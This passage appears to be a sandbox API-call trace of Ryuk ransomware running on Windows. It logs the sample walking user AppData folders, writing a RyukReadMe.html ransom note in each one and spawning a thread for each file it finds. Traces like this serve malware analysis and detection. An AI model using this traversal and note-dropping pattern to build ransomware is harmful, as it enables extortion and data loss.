	[0245.247] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0xb4, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1
	[0245.247] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114
	[0245.249] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.249] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0xb4, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0
	[0245.250] FindClose (in: hFindFile=0x3ef6d0 | out: hFindFile=0x3ef6d0) returned 1
	[0245.250] SetLastError (dwErrCode=0x0) 
	[0245.250] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a4
	[0245.250] GetLastError () returned 0xb7
	[0245.250] CloseHandle (hObject=0x3a4) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0
	[0245.250] FindClose (in: hFindFile=0x3ef670 | out: hFindFile=0x3ef670) returned 1
	[0245.250] SetLastError (dwErrCode=0x0) 
	[0245.251] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0245.251] GetLastError () returned 0xb7
	[0245.251] CloseHandle (hObject=0x1b4) returned 1
	[0245.251] FindNextFileW (in: hFindFile=0x3ef5b0, lpFindFileData=0x191530 | out: lpFindFileData=0x191530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0245.251] SetLastError (dwErrCode=0x0) 
	[0245.251] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0245.251] GetLastError () returned 0xb7
	[0245.251] CloseHandle (hObject=0x1b4) returned 1
	[0245.251] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*.*", lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef670
	[0245.252] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.252] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0xa4, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1
	[0245.252] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0245.254] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.254] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0245.254] SetLastError (dwErrCode=0x0) 
	[0245.254] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0245.255] GetLastError () returned 0x0
	[0245.255] WriteFile (in: hFile=0x384, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x190d48, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x190d48*=0x273, lpOverlapped=0x0) returned 1
	[0245.257] CloseHandle (hObject=0x384) returned 1
	[0245.257] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef6d0
	[0245.265] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.265] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0xb0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1
	[0245.265] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0245.267] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.267] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0xb0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1
	[0245.268] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
	[0245.269] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.270] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0xb0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0
	[0245.270] FindClose (in: hFindFile=0x3ef6d0 | out: hFindFile=0x3ef6d0) returned 1
	[0245.270] SetLastError (dwErrCode=0x0) 
	[0245.270] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0245.271] GetLastError () returned 0x0
	[0245.271] WriteFile (in: hFile=0x384, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x190d48, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x190d48*=0x273, lpOverlapped=0x0) returned 1
	[0245.273] CloseHandle (hObject=0x384) returned 1
	[0245.273] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
	[0245.273] FindClose (in: hFindFile=0x3ef670 | out: hFindFile=0x3ef670) returned 1
	[0245.273] SetLastError (dwErrCode=0x0) 
	[0245.273] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0245.273] GetLastError () returned 0xb7
	[0245.273] CloseHandle (hObject=0x1b4) returned 1
	[0245.274] FindNextFileW (in: hFindFile=0x3ef5b0, lpFindFileData=0x191530 | out: lpFindFileData=0x191530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0
	[0245.274] FindClose (in: hFindFile=0x3ef5b0 | out: hFindFile=0x3ef5b0) returned 1
	[0245.274] SetLastError (dwErrCode=0x0) 
	[0245.274] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c
	[0245.274] GetLastError () returned 0xb7
	[0245.274] CloseHandle (hObject=0x32c) returned 1
	[0245.274] FindNextFileW (in: hFindFile=0x3ef2b0, lpFindFileData=0x191c60 | out: lpFindFileData=0x191c60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0245.274] SetLastError (dwErrCode=0x0) 
	[0245.274] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c
	[0245.274] GetLastError () returned 0xb7
	[0245.274] CloseHandle (hObject=0x32c) returned 1
	[0245.275] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*.*", lpFindFileData=0x191530 | out: lpFindFileData=0x191530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef5b0
	[0245.275] FindNextFileW (in: hFindFile=0x3ef5b0, lpFindFileData=0x191530 | out: lpFindFileData=0x191530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.275] FindNextFileW (in: hFindFile=0x3ef5b0, lpFindFileData=0x191530 | out: lpFindFileData=0x191530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0245.275] SetLastError (dwErrCode=0x0) 
	[0245.275] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0245.276] GetLastError () returned 0xb7
	[0245.276] CloseHandle (hObject=0x1b4) returned 1
	[0245.276] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\*.*", lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef670
	[0245.276] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.276] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0245.276] SetLastError (dwErrCode=0x0) 
	[0245.276] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0245.276] GetLastError () returned 0xb7
	[0245.276] CloseHandle (hObject=0x384) returned 1
	[0245.277] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef6d0
	[0245.277] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.277] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0245.277] SetLastError (dwErrCode=0x0) 
	[0245.277] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b8
	[0245.277] GetLastError () returned 0xb7
	[0245.277] CloseHandle (hObject=0x3b8) returned 1
	[0245.277] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef730
	[0245.277] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.278] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0xd6, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1
	[0245.278] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0245.409] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.414] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0xd6, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1
	[0245.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0
	[0245.461] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
